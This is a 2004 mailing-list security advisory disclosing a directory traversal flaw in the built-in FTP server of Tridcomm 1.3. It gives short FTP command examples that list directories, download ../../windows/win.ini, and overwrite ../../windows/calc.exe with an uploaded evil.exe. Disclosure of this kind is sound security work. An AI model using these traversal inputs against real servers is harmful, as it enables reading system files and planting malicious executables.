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Directory traversal in Tridcomm 1.3

daemon@ATHENA.MIT.EDU (Luigi Auriemma)
Wed Oct 6 17:20:04 2004

Date: Wed, 6 Oct 2004 21:19:18 +0000
From: Luigi Auriemma <aluigi@autistici.org>
To: bugtraq@securityfocus.com, bugs@securitytracker.com, news@securiteam.com,
        full-disclosure@lists.netsys.com, vuln@secunia.com
Message-Id: <20041006211918.1164de42.aluigi@autistici.org>
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#######################################################################

                             Luigi Auriemma

Application:  Tridcomm
              http://www.tridcomm.com
Versions:     <= 1.3
Platforms:    Windows
Bug:          directory traversal (both download and upload)
Exploitation: remote, versus the built-in FTP server
Date:         06 October 2004
Author:       Luigi Auriemma
              e-mail: aluigi@altervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Tridcomm is an open-source 3D file manager for Windows with a built-in
FTP server disabled by default.


#######################################################################

======
2) Bug
======


The built-in FTP server in Tridcomm is vulnerable to a directory
traversal bug.
Practically an attacker can watch into any directory and upload and
download any file in the disk on which Tridcomm is installed.


#######################################################################

===========
3) The Code
===========


dir ../../
dir /

get
  ../../windows/win.ini
  win.ini

put
  evil.exe
  ../../windows/calc.exe

(the same examples can be used with the backslash too)


#######################################################################

======
4) Fix
======


No fix.
No reply from the author.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org


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